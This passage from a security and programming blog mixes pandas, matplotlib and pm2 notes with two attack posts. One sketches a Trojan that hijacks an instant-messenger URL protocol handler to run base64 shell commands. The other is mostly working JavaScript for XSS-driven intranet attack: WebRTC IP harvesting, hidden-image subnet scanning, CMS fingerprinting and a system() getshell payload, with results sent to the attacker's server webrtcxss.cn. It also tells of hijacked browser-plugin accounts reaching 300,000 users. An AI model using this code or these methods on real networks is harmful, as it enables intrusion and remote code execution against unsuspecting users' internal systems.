['A0', 'A1', 'A2', 'A3'], 'B': ['B0', 'B1', 'B2', 'B3'] }) # A B key # 0 A0 B0 k0 # 1 A1 B1 k1 # 2 A2 B2 k2 # 3 A3 B3 k3 right = pd.DataFrame({ 'key': ['k0', 'k1', 'k2', 'k3'], 'C': ['C0', 'C1', 'C2', 'C3'], 'D': ['D0', 'D1', 'D2', 'D3'] }) # C D key # 0 C0 D0 k0 # 1 C1 D1 k1 # 2 C2 D2 k2 # 3 C3 D3 k3 pd.merge(left, right, on='key') # A B key C D # 0 A0 B0 k0 C0 D0 # 1 A1 B1 k1 C1 D1 # 2 A2 B2 k2 C2 D2 # 3 A3 B3 k3 C3 D3 ``` ```python left = pd.DataFrame({ 'key1': ['k0', 'k0', 'k1', 'k2'], 'key2': ['k0', 'k1', 'k0', 'k1'], 'A': ['A0', 'A1', 'A2', 'A3'], 'B': ['B0', 'B1', 'B2', 'B3'] }) # A B key1 key2 # 0 A0 B0 k0 k0 # 1 A1 B1 k0 k1 # 2 A2 B2 k1 k0 # 3 A3 B3 k2 k1 right = pd.DataFrame({ 'key1': ['k0', 'k1', 'k1', 'k2'], 'key2': ['k0', 'k0', 'k0', 'k0'], 'C': ['C0', 'C1', 'C2', 'C3'], 'D': ['D0', 'D1', 'D2', 'D3'] }) # C D key1 key2 # 0 C0 D0 k0 k0 # 1 C1 D1 k1 k0 # 2 C2 D2 k1 k0 # 3 C3 D3 k2 k0 pd.merge(left, right, on=['key1', 'key2'], how='inner') # how defaults to inner # A B key1 key2 C D # 0 A0 B0 k0 k0 C0 D0 # 1 A2 B2 k1 k0 C1 D1 # 2 A2 B2 k1 k0 C2 D2 pd.merge(left, right, on=['key1', 'key2'], how='outer') # A B key1 key2 C D # 0 A0 B0 k0 k0 C0 D0 # 1 A1 B1 k0 k1 NaN NaN # 2 A2 B2 k1 k0 C1 D1 # 3 A2 B2 k1 k0 C2 D2 # 4 A3 B3 k2 k1 NaN NaN # 5 NaN NaN k2 k0 C3 D3 pd.merge(left, right, on=['key1', 'key2']. how='right') # A B key1 key2 C D # 0 A0 B0 k0 k0 C0 D0 # 1 A2 B2 k1 k0 C1 D1 # 2 A2 B2 k1 k0 C2 D2 # 3 NaN NaN k2 k0 C3 D3 pd.merge(left, right, on=['key1', 'key2'], how='left') # A B key1 key2 C D # 0 A0 B0 k0 k0 C0 D0 # 1 A1 B1 k0 k1 NaN NaN # 2 A2 B2 k1 k0 C1 D1 # 3 A2 B2 k1 k0 C2 D2 # 4 A3 B3 k2 k1 NaN NaN ``` ------ ## Matplotlib ### Import `import matplotlib.pyplot as plt` ### API #### plot ```python data = pd.Series(np.random.randn(1000)) # 1000 random numbers data = data.cumsum() # cumulative sum # since a pandas object is data already, it can be plotted directly, # two other forms: plt.plot(x=, y=) or plt.plot([xxx, xxx], [yyy, yyy]) data.plot() plt.rcParams['font.sans-serif']=['SimHei'] # make Chinese labels render correctly plt.rcParams['axes.unicode_minus']=False # make minus signs render correctly # linewidth: the width of the line # linestyle: the line style (- solid, -- dashed, -. dash-dot, : dotted, None draws nothing) plt.plot([1,50,100],[1,4,9], linewidth=2.5, linestyle='--', label='lalala') plt.legend(loc='upper left') # without this line, the label above will not show plt.plot([1,100,200],[1,7,9]) # a third data series plt.title('Demo') # title plt.xlabel('xxx') # x-axis name plt.ylabel('yyy') # y-axis name plt.text(60, 10, u'annotation') # annotation text plt.show() # display ``` ![](https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/matplotlib-line-plot.png) ```python # random numbers with 1000 rows and 4 columns, rows numbered 0 to 999, columns A B C D data = pd.DataFrame(np.random.randn(1000, 4), index=np.arange(1000), columns=list('ABCD')) data = data.cumsum() # cumulative sum data.plot() plt.show() ``` ![](https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/matplotlib-multiline-plot.png) #### Other charts ##### Bar chart ```python plt.bar(left, height, width=0.8) ``` ##### Scatter plot ```python plt.scatter(x,y) ``` --- # pm2 configuration for Vue+Koa - URL: https://bugs.cc/posts/koa-pm2-configuration/ (Markdown: https://bugs.cc/posts/koa-pm2-configuration/index.md) - Language: English - Published: 2017-11-07 - Tags: nodejs, vue, koa - Translation (Chinese): https://bugs.cc/zh/posts/koa-pm2-configuration/ ## Background The stack I am using is: Vue on the frontend, Koa on the backend, Mongodb as the database. Every time I start the services, I have to run `npm start` and `node ./server/app.js`, and keep both windows open. That is a hassle. And because I am using Koa, I did not use 狼叔's Koa scaffold. I rolled a small MVC myself based on Liao Xuefeng's [Koa framework](https://www.liaoxuefeng.com/wiki/001434446689867b27157e896e74d51a89c25cc8b43bdb3000/001434501579966ab03decb0dd246e1a6799dd653a15e1b000). So there is no hot reload. To cut these unnecessary steps and add hot reload, I started thinking about how to improve this. I went with `pm2`. ## Configuring pm2 Install pm2 first: `npm i pm2`, `npm i pm2 -g` Because this is an open source project, so the code can run on other people's machines, pm2 needs to live in the project. Then install it globally, which is convenient for later debugging. Create a logs directory in the project root. In the current directory, create a pm2.json file, with the following content: ```json { "apps": [{ "name": "koler-server", "script": "./app.js", "error_file" : "../logs/server-err.log", "out_file" : "../logs/server-out.log", "merge_logs" : true, "log_date_format" : "YYYY-MM-DD HH:mm Z", "cwd": "./server", "watch": [ "app.js", "controllers" ], "watch_options": { "followSymlinks": false } },{ "name": "koler-app", "script": "./build/dev-server.js", "error_file" : "./logs/app-err.log", "out_file" : "./logs/app-out.log", "merge_logs" : true, "log_date_format" : "YYYY-MM-DD HH:mm Z", "cwd": "./", "ignore_watch" : [ "node_modules" ], "watch_options": { "followSymlinks": false } }] } ``` This starts two projects at once. `koler-server` is Koa, `koler-app` is the Vue frontend. I tried lifting ```json "error_file" : "./logs/app-err.log", "out_file" : "./logs/app-out.log", "merge_logs" : true, "log_date_format" : "YYYY-MM-DD HH:mm Z", ``` to the root of the JSON, but it did nothing. Looks like pm2 does not support that. So I had to write it in each app. ## Configuring package.json Replace `dev` under the previous `script` field, then add a `stop` field. After the change: ```json "scripts": { "dev": "pm2 start pm2.json && pm2 logs", "start": "npm run dev", "stop": "pm2 stop koler-app koler-server && pm2 delete koler-app koler-server", "build": "node build/build.js", "lint": "eslint --ext .js,.vue src" }, ``` `pm2 start pm2.json && pm2 logs` starts from the pm2.json config. The `pm2 logs` after it is there to tail Vue and Koa logs at the same time. After you run `npm start`, the terminal looks like this: ![](https://bugs.cc/images/koa-pm2-configuration/pm2-start-logs.png) You can ignore that error. I forgot to clean up the previous logs. After it starts, a cmd window will appear on your screen. Don't close it. It will close itself after a while. Every time a code change hits the `watch` rules in the pm2 config, a cmd window pops up automatically, and that one also closes after a while. Because other people using the project may already be running multiple pm2 instances, I put the names in the `stop` field, to avoid pausing and deleting every instance. ## Testing Now when we change the code, there is no problem. pm2 hot-reloads for us. Let's try breaking a piece of Vue code on purpose: ![](https://bugs.cc/images/koa-pm2-configuration/vue-webpack-error.png) ![](https://bugs.cc/images/koa-pm2-configuration/koa-restart-error.png) You can see it is OK. One note on why the second instance `koler-app` in pm2.json has no watch: Vue in development already uses webpack's watch, so there is no need to add it. --- # Some ideas based on URLProtocol attacks - URL: https://bugs.cc/posts/some-ideas-based-on-urlprotocol-attacks/ (Markdown: https://bugs.cc/posts/some-ideas-based-on-urlprotocol-attacks/index.md) - Language: English - Published: 2017-03-26 - Tags: web security, javascript - Translation (Chinese): https://bugs.cc/zh/posts/some-ideas-based-on-urlprotocol-attacks/ Browsers launch local apps through `URLProtocol`.[^urlprotocol-refs] Under the `[HKEY_CLASSES_ROOT]` registry key, you can see many `URLProtocol` entries. For example, AliWangWang: ![](https://bugs.cc/images/some-ideas-based-on-URLProtocol-attacks/aliim-registry-command.png) On the web, AliWangWang's `Contact me` button goes to `https://amos.alicdn.com/getcid.aw?v=3&groupid=0&s=1&charset=utf-8&uid=淘宝店铺名&site=cntaobao&groupid=0&s=1&fromid=cntaobao淘宝用户名`, and that page runs this JavaScript: ```js !function() { var a = window, b = function() { try { window.open("", "_top"), a.opener = null, a.close() } catch(b) {} }, c = function() { a.location.href = "aliim:sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1", setTimeout(function() { b() }, 6e3) }; a.isInstalled ? a.isInstalled(function(b) { if (b) c(); else { var d = confirm("\u68c0\u6d4b\u5230\u4f60\u672a\u5b89\u88c5\u963f\u91cc\u65fa\u65fa\u5ba2\u6237\u7aef,\u662f\u5426\u8981\u8df3\u8f6c\u5230\u5b98\u7f51\u4e0b\u8f7d?"); d === !0 && (a.location.href = "https://wangwang.taobao.com") } }) : c() } (); ``` The core line is `a.location.href = "aliim:sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1"`. The aliim in that line is AliWangWang's key name under `[HKEY_CLASSES_ROOT]`. In the screenshot above, opening it runs `"D:\Program Files (x86)\AliWangWang\8.60.03C\wwcmd.exe" %1`. wwcmd.exe is AliWangWang's API for handling messages from the web. When it succeeds, it opens a chat window. `%1` is the `sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1"` argument. Let's replace WWCmd.exe and see how the arguments are passed: ```cpp #include int main(int argc,char **argv) { FILE *fp = fopen("c:/123.txt","w+"); if(NULL == fp) return -1; while(argc-->0){ fputs(*++argv,fp); fputs(" ",fp); } return 0; } ``` This C program writes the remaining arguments to 123.txt on drive C. After I replaced WWCmd.exe and clicked `Contact me`, a 123.txt file appeared on drive C. ![](https://bugs.cc/images/some-ideas-based-on-URLProtocol-attacks/captured-protocol-params.png) It also passed `aliim:` in. Following that request, we can write an exe that receives the arguments. My skills are limited, so here is the rough idea. The exe replaces the original `WWCmd.exe`, then we generate a specific plugin and implant it in the browser. Every time the user opens a site, it receives a particular base64-encoded shell from the server, then runs `aliim:cmd=服务端的base64`. If the argument is `sendmsg`, it launches AliWangWang. If it is `cmd`, it executes the code. That covers both hiding the Trojan and the condition to wake it. The same idea works for Thunder downloads and similar apps. What is the upside? When a browser launches AliWangWang, Thunder, and similar apps, a prompt usually pops up, but most users click Don't ask again. That achieves the goal. This is only an idea, and it is not very mature. Comments welcome. [^urlprotocol-refs]: Details are in http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html and http://blog.csdn.net/zssureqh/article/details/25828683 --- # Automated XSS intranet invasion - URL: https://bugs.cc/posts/use-xss-automation-invade-intranet/ (Markdown: https://bugs.cc/posts/use-xss-automation-invade-intranet/index.md) - Language: English - Published: 2016-12-14 - Tags: web security, xss - Translation (Chinese): https://bugs.cc/zh/posts/use-xss-automation-invade-intranet/ ## 0x01 Preface A lot of people think XSS can only steal cookies. Some SRCs and vendors ignore reflected XSS, or simply do not take it seriously. Things only started to change after "Hei Ge" mentioned XSS intranet invasion in an earlier talk. From my own testing, the XSS intranet invasion Hei Ge described likely involved a browser vulnerability. What if you do not have a browser vulnerability? Like the Sohu bug 0x_Jin reported on WooYun: A few things to note: because of the browser same-origin policy, you cannot really invade the intranet in the full sense of the word. Of course, if you have a browser 0day, that is a different story. I also asked about 0x_Jin's WooYun report myself. The answer was that it only probed open port 80, and that was it. Hei Ge did not publish the full code, and 0x_Jin did not go further. Since neither did, I will take it from here. I will use another approach to "bypass the browser same-origin policy". ## 0x02 Architecture The code uses a live-feedback mechanism similar to XSS platforms. I will go through the variables first: ```js var onlyString = "abc"; var ipList = []; var survivalIpLIst = []; var deathIpLIst = []; var sendsurvivalIp = "http://webrtcxss.cn/Api/survivalIp"; var snedIteratesIpUrl = "http://webrtcxss.cn/Api/survivalPortIp"; var snedIteratesCmsIpUrl = "http://webrtcxss.cn/Api/survivalCmsIp"; var sendExistenceVul = "http://webrtcxss.cn/Api/existenceVul"; ``` 1. onlyString : a unique string so the server can tell which project a request belongs to. Real code would not hard-code `abc`; it would generate a hash with md5(date('Y-m-d H: i: s')). 2. ipList : array that stores intranet IPs obtained via WebRTC. 3. survivalIpLIst : array of IPs with port 80 open 4. deathIpLIst : array of IPs without port 80, used for the check 5. sendsurvivalIp : send the current intranet IP info to the server 6. snedIteratesIpUrl : take CMS paths returned by the server and test IPs that already have port 80 open, to see whether any live IP matches CMS info stored on the server 7. snedIteratesCmsIpUrl : for a matched CMS, ask the server whether that CMS has a getshell we stored 8. sendExistenceVul : vulnerability confirmed, send it to the server As I said in the 0x01 preface, I will use another approach to "bypass the browser same-origin policy". Overall architecture: https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec ## 0x03 Getting intranet IP information See: https://webrtc.org/faq/#what-is-webrtc WebRTC gives JavaScript some lower-level capabilities, and because of how WebRTC works, we can use JavaScript to obtain intranet IPs. Platforms that currently support WebRTC: Chrome, Firefox, Opera, Android, iOS. In my tests Maxthon also supports it (this will come up later). The WebRTC intranet-IP snippet is easy to find online. I modified it here so the rest of the code can call it easily. Here is the WebRTC code: ```js var webrtcxss = { webrtc : function(callback){ var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; var servers = undefined; if(window.webkitRTCPeerConnection){ servers = {iceServers: []}; } var pc = new RTCPeerConnection(servers, mediaConstraints); pc.onicecandidate = function(ice){ if(ice.candidate){ var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/; var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; pc.createDataChannel(""); pc.createOffer(function(result){ pc.setLocalDescription(result, function(){}); }); }, getIp : function(){ this.webrtc(function(ip){ ipList.push(ip); }); } } webrtcxss.getIp(); ``` Let's print it and see: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/webrtc-local-ip.png) I already have the current host's IP. ## 0x04 Detecting hosts on the intranet with port 80 open At the end of the last section you can see `webrtcxss.getIp()`; has already called WebRTC to get intranet IPs, stored in the ipList array. Next we detect every IP on the intranet with port 80 open. I wrapped this step in a function: ```js function iteratesIp(){ stage(1) ipAjax = new XMLHttpRequest(); ipAjax.open('POST', sendsurvivalIp, false); ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded"); ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString); for(var i = 0;i < ipList.length;i++){ incompleteIp = ipList[i].split("."); incompleteIp.pop(); incompleteIp = incompleteIp.join("."); for(var j = 1;j < 255;j++){ var ip = incompleteIp + "." + j; var imgTag = document.createElement("img"); imgTag.setAttribute("src","http://" + ip + "/favicon.ico"); imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')"); imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')"); imgTag.setAttribute("style","display:none;"); document.getElementsByTagName("body")[0].appendChild(imgTag); } } } setTimeout("iteratesIp()",20000); (function(){ if(deathIpLIst.length + survivalIpLIst.length == 254){ snedIteratesIpData(survivalIpLIst); }else{ setTimeout(arguments.callee,5000); } })(); ``` `stage(1)` is a function I wrote to send the latest progress to the server in real time. I will cover it at the end. ```js ipAjax = new XMLHttpRequest(); ipAjax.open('POST', sendsurvivalIp, false); ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded"); ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString); ``` This sends the intranet IPs we just got to the server. The join("-") on ipList is there because WebRTC sometimes also picks up gateway and VM IPs. ```js for(var i = 0;i < ipList.length;i++){ incompleteIp = ipList[i].split("."); incompleteIp.pop(); incompleteIp = incompleteIp.join("."); for(var j = 1;j < 255;j++){ var ip = incompleteIp + "." + j; var imgTag = document.createElement("img"); imgTag.setAttribute("src","http://" + ip + "/favicon.ico"); imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')"); imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')"); imgTag.setAttribute("style","display:none;"); document.getElementsByTagName("body")[0].appendChild(imgTag); } } ``` This walks every intranet host on port 80. Let's look at it in practice: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/subnet-prefix.png) The trailing .104 is stripped. Then a for loop walks 192.168.1.1~192.168.1.254 Now let's run ```js for(var i = 0;i < ipList.length;i++){ incompleteIp = ipList[i].split("."); incompleteIp.pop(); incompleteIp = incompleteIp.join("."); for(var j = 1;j < 255;j++){ var ip = incompleteIp + "." + j; var imgTag = document.createElement("img"); imgTag.setAttribute("src","http://" + ip + "/favicon.ico"); imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')"); imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')"); imgTag.setAttribute("style","display:none;"); document.getElementsByTagName("body")[0].appendChild(imgTag); } } ``` this code: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/favicon-scan-console.png) That is the console. Let's see what changed in the DOM: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/favicon-img-tags-dom.png) I use `http://192.168.1.xxx/favicon.ico` to tell which intranet IPs have port 80 open and a site running. `onerror="javascript:deathIpLIst.push('192.168.1.xxx')"` fires if the IP does not have port 80 open, or has port 80 open but no site, and pushes that IP into deathIpLIst. If it exists, it is pushed into survivalIpLIst, i.e. `onload="javascript:survivalIpLIst.push('192.168.1.1')"`. Why do it this way? Here is the catch. The browser does not tell you immediately which images loaded and which did not; it needs a buffer period. Checking whether favicon.ico exists on 254 hosts in the same subnet takes about 550000ms===550s, roughly 2.16535s/IP. That is a bit over 9.16 minutes. So you wait about 9.16 minutes for the full scan. There is nothing you can do about that. Why `setTimeout("iteratesIp()",20000);` with a 20-second delay? WebRTC needs some time to get IPs. A few seconds would actually be enough. I bumped it to 20 seconds for a higher fault-tolerance margin. If that feels slow, download the source at the end of the article and change it. There is also this: ```js (function(){ if(deathIpLIst.length + survivalIpLIst.length == 254){ snedIteratesIpData(survivalIpLIst); }else{ setTimeout(arguments.callee,5000); } })(); ``` That is why I put IPs without port 80 in one array and IPs with port 80 in another. I do not know when they will finish. The 9.1 minutes earlier is only a rough figure; machine specs, intranet speed, and other factors can make it faster or slower. I cannot guarantee it. So I wrote this. Here is what it means: ```js (function(){ /*coding*/ })(); ``` This is an anonymous function. It runs as soon as execution reaches it. Inside, it first checks whether deathIpLIst.length + survivalIpLIst.length equals 254. If so, it calls snedIteratesIpData and passes the IPs that have port 80 open with a site running. If not, the browser has not finished judging every image yet, and it goes into the else branch. `setTimeout(arguments.callee,5000);` delays 5 seconds and then runs arguments.callee. arguments.callee is the current function. Let's look: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/arguments-callee-log.png) console.log printed the current function. You can also write setTimeout(currentFunctionName(), 5000); to get the same effect, but that does not work for an anonymous function, because it has no name. If you have learned recursion, this should be easy to follow. In plain terms: run this function every 5 seconds until every img tag has been judged, then go to the next step. ## 0x05 Identifying CMS on live intranet hosts The previous section mentioned snedIteratesIpData, which the if in the closure calls when the condition is true. Here is what is inside that function: ```js function snedIteratesIpData(ip){ if(deathIpLIst.length == 254){ return false; } stage(2) ip = ip.join("-") ipAjax = new XMLHttpRequest(); ipAjax.onreadystatechange = function(){ if(ipAjax.readyState == 4 && ipAjax.status == 200){ var cmsPath = JSON.parse(ipAjax.responseText).path; for(var key in cmsPath){ for(var i = 0;i < survivalIpLIst.length;i++){ var scriptTag = document.createElement("script"); scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]); scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]); scriptTag.setAttribute("data-cmsinfo",key); scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)"); document.getElementsByTagName("body")[0].appendChild(scriptTag); } } } } ipAjax.open('POST', snedIteratesIpUrl, false); ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded"); ipAjax.send('iplist='+ip+'&onlystring='+onlyString); } ``` Why is there an if at the start of the function? Because the closure in the previous section has a bug: if no intranet IP has port 80 open and a site running, deathIpLIst.length is 254 and survivalIpLIst.length is 0. Then `deathIpLIst.length + survivalIpLIst.length == 254` is still true. To avoid that, we add this in snedIteratesIpData: ```js if(deathIpLIst.length == 254){ return false; } ``` When deathIpLIst.length is 254, return false and stop. The architecture is A calls B, C calls A, D calls C. When C returns false, D does not run. After the return false, none of the code below it runs. What `ip = ip.join("-")` means: when there are two or more intranet IPs, join them before sending so the server can receive and display them. The server feedback looks like this: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/vuln-detail-open-ports.png) Next, the ajax request: ```js ipAjax = new XMLHttpRequest(); ipAjax.onreadystatechange = function(){ if(ipAjax.readyState == 4 && ipAjax.status == 200){ var cmsPath = JSON.parse(ipAjax.responseText).path; for(var key in cmsPath){ for(var i = 0;i < survivalIpLIst.length;i++){ var scriptTag = document.createElement("script"); scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]); scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]); scriptTag.setAttribute("data-cmsinfo",key); scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)"); document.getElementsByTagName("body")[0].appendChild(scriptTag); } } } } ipAjax.open('POST', snedIteratesIpUrl, false); ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded"); ipAjax.send('iplist='+ip+'&onlystring='+onlyString); ``` Send the intranet IPs that have port 80 open and a site running, plus the unique identifier, for the server to verify. After the server accepts that, it sends JSON. Server code: ```php $this->ajaxReturn(array( "typeMsg" => "success", "path" => $pathInfo, )); ``` Then `if(ipAjax.readyState == 4 && ipAjax.status == 200)` checks whether the send succeeded. On success, assign the JSON path data to cmsPath for later use. First a for loop, where cmsPath['key'] is the current CMS path. Nested inside that, another for loop, where survivalIpLIst[i] is the current IP. Then we create a script DOM element. data-ipadder and data-cmsinfo are there so later code can read them. `onload = " javascript:vulnerabilityIpList(this)"` is the function called when that URL exists. Next section covers it. First, let's see what cmsPath looks like in the database: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/cmspath-db-table.png) These four are the defaults. You can add more paths yourself. For testing I deployed some code on another computer at home, with only index.php, /static/bbcode.js, vul/heihei.php, and favicon.ico. The code in heihei.php is: ```php ajaxReturn(array( "typeMsg" => "error", )); } $existenceCmsIp = I('post.existenceCmsIp'); $existenceCmsInfo = I('post.existenceCmsInfo'); $onlyString = I('post.onlystring'); $existencecmsip = M('existencecmsip'); $existenceData['inner_ip'] = $existenceCmsIp; $existenceData['cms'] = $existenceCmsInfo; $existenceData['onlystring'] = $onlyString; $existenceData['create_time'] = date('Y-m-d H:i:s'); $existencecmsip->data($existenceData)->add(); /* * fetch CMS vulnerability details from the database and send them to the client */ $cmsvul = M('cmsvul'); $vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo")); echo "http://".$existenceCmsIp.$vulInfo; ``` From the code you can see the server does not return JSON, it returns a string. That string is a concatenated URL. The URL is the discovered IP plus the CMS vulnerability path stored on the server. Then an img tag sends a GET to trigger the getshell. The code is: ```js var img = document.createElement("img"); img.setAttribute("scr",vulCmsInfo); img.setAttribute("style","display:none;"); document.getElementsByTagName("body")[0].appendChild(img); ``` Why delay 2 seconds with setTimeout? As I said earlier, the browser cannot judge that many img requests at once. There is only one here, so I used 2 seconds. In a real case you can change it to 20 seconds. Then we create a script tag to check whether 1.js was generated. If it was, the vulnerability exists and we hand it to the next function. If not, we stop, because onload will not call vulConfirm. Why check for 1.js? That is the getshell payload I mentioned. In the database it looks like this: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/cmsvul-base64-table.png) It is a base64 ciphertext. Decoded, it is: `/vul/heihei.php?a=system('echo 1 >> ../1.js');` When the backend sends this to the frontend, I have already decoded it, as in the code above: `$vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo"));` In the browser the code looks like this: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/getshell-payload-dom.png) Now the real use of setTimeout. Look at this line: `scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");` The script src is set to check whether 1.js exists on the target. If it does, vulConfirm in onload runs. vulConfirm is in the next section. ## 0x07 Checking whether intranet host vulnerabilities actually exist (part 2) vulConfirm is simple. It only sends data to the server. ```js function vulConfirm(cmsConfirmInfo){ stage(4) ipAjax = new XMLHttpRequest(); ipAjax.open('POST', sendExistenceVul, false); ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded"); ipAjax.send('cms='+ cmsConfirmInfo.getAttribute("data-cmsinfo") + '&vulip='+ cmsConfirmInfo.getAttribute("data-vulip") +'&onlystring=' + onlyString); } ``` 1. cms is the CMS that has the vulnerability 2. vulip is the IP that has the vulnerability 3. onlystring is the unique identifier, so the server can tell which project this belongs to ## 0x08 What stage does The stage function: ```js function stage(num){ var updataStage = document.createElement("img"); updataStage.setAttribute("src","http://webrtcxss.cn/Api/stage/onlystring/"+onlyString+"/updata/"+num); updataStage.setAttribute("style","display:none;"); document.getElementsByTagName("body")[0].appendChild(updataStage); } ``` It is just an img tag that GETs the server to report how far the code has run. Feedback on the platform looks like this: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/stage-feedback-list.png) ## 0x09 API backend code The backend uses the ThinkPHP framework. If you want to change how the server receives data, edit ApiController.class.php under /Application/Home/Controller. It is split into the survivalIp, survivalPortIp, _empty, survivalCmsIp, existenceVul, and stage modules. Adjust them to match the JavaScript. Screenshot: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/api-controller-code.png) ## 0x10 Platform-specific APIs The platform API is RootApiController.class.php under `/Application/Home/Controller`. Creating, deleting, and querying projects are all in there. If you want to change the JavaScript, do it in project creation, as in: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/add-project-code.png) The change is simple. The running platform looks like this: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/project-list.png) ![](https://bugs.cc/images/use-xss-automation-invade-intranet/add-project-modal.png) ![](https://bugs.cc/images/use-xss-automation-invade-intranet/project-success-script.png) ![](https://bugs.cc/images/use-xss-automation-invade-intranet/vuln-detail-modal.png) ![](https://bugs.cc/images/use-xss-automation-invade-intranet/no-projects-page.png) ## 0x11 Database schema There are 7 tables in total: 1. `webrtc_cmspath` stores JavaScript paths used to detect CMS type 2. `webrtc_cmsvul` stores getshell details for each CMS 3. `webrtc_existencecmsip` stores which intranet IPs have a CMS 4. `webrtc_existencevul` stores which intranet IPs have a vulnerable CMS 5. `webrtc_ipdatalist` stores the list of intranet IPs that have port 80 open and a site running 6. `webrtc_project` stores project info 7. `webrtc_survivaliplist` stores the current host's intranet IPs ## 0x12 Other attack vectors I wrote about this on FreeBuf earlier: Some nginx or Apache admins watch site traffic in real time from the logs. Raw log files look ugly, so people built web UIs that stream traffic live. When they record user-agent and other packet fields, they do not filter. An attacker can set their user-agent to an XSS string, browse the site, and the admin triggers XSS when they open the viewer. Combined with what this chapter covers, it is as perfect as eating chocolate on a rainy day. It does not have to be nginx or Apache. Some site backends log IP and user-agent in application code rather than from nginx-style config files, so staff can view them in the admin panel. That is where the technique in this chapter comes in. On plugin security, look at this: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/maxthon-plugins-dashboard.png) I controlled more than ten Maxthon plugin-author accounts, covering 300,000 plugin users, and I can change the code at any time. I asked Maxthon plugin staff, and the reply was: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/plugin-autoupdate-reply.png) Even if you do not have a plugin-author account, you can write a tiny plugin game with the simplest html+swf and get thousands of installs in a week. Say 100,000 users installed my plugin. Of those, 50,000 already have jobs. 20,000 use Maxthon on a company computer with the plugin installed. Once they open Maxthon, the plugin runs automatically. When the plugin finds a new version, it silently auto-updates. Then our JavaScript runs. In 0x03 I said Maxthon also supports WebRTC, but there is a catch. I am not sure if it is version-related. In Chrome, the WebRTC code shows one set of IPs, the current machine's intranet IPs. In Maxthon you get three sets, maybe more. Screenshot: ![](https://bugs.cc/images/use-xss-automation-invade-intranet/maxthon-multiple-ips.png) 192.168.27.1 is a VM range on my machine. 192.168.118.1 is also a VM range. Only 192.168.1.104 is the real intranet IP. That is why the source uses join and a for loop over ipList. ## 0x13 Failed ideas **Idea 1** Suppose the intranet IP we got is 192.168.21.104. A for loop emitting img and script tags can get every live intranet IP (and can probe ports). The problem is how JavaScript gets resources from other intranet hosts. Cross-origin, so ajax and iframe both fail. I asked 0xJin last night: he did not fetch those resources, he only scanned live IPs and ports. But this is supposed to be intranet roaming, not just the PC that triggered the XSS. I looked through material all night and have an idea, though I don't know if it works. If you have a better suggestion, say so. The idea may be wrong. Skip the earlier part. Assume we already have the intranet IPs with port 80 open. Since ajax and iframe both fail, we can try Flash. Flash has its own crossdomain.xml restriction, but this morning I found this article: According to the author, this method can only get visual objects (images, swf), so you still cannot get HTML source from the live IPs. I wondered whether Flash could send a URL with XSS (an intranet IP) The XSS would load the Html2canvas plugin, screenshot the live IP's site, and send it to our server. There is a constraint: you still need the CMS of the live IP's site (you can use `` and send the image to a remote server to receive it. That tells you the CMS type. When you build this, you can add JavaScript that periodically fetches from the remote server. Once we see the CMS type, we look up a version-disclosure method, write it into code, and wait for the client's scheduled task to pick it up). Now we have the info. There is still one more condition: an XSS to load the Html2canvas plugin, save a screenshot, and send it to the remote server. Here is the problem: reflected XSS does not actually open the site, it just sends a GET. Then canvas will not load, so the screenshot fails. Stored XSS might work. Why it failed: 1. canvas cannot read the DOM inside an iframe 2. the img cannot be sent to a remote server, because the current page and the img are not same-origin 3. stealth is poor **Idea 2** The idea I mentioned earlier was xss+iframe+canvas, but @超威蓝猫 said canvas cannot capture iframe content. I looked it up later and that is correct (weak fundamentals). Then I had another idea: use `` to get the site's CMS, because different CMSs have different ico files. Send the img to the server and you can tell which CMS it is. After a few hours of discussion with Weige @呆子不开口, we realized I had skipped an important problem: how to send the img to a remote server. The image URL is not same-origin, and how do you turn the image into binary data in JavaScript? That idea died too. Weige offered a nice solution: probe JS files, i.e. ``. That means I need a large set of 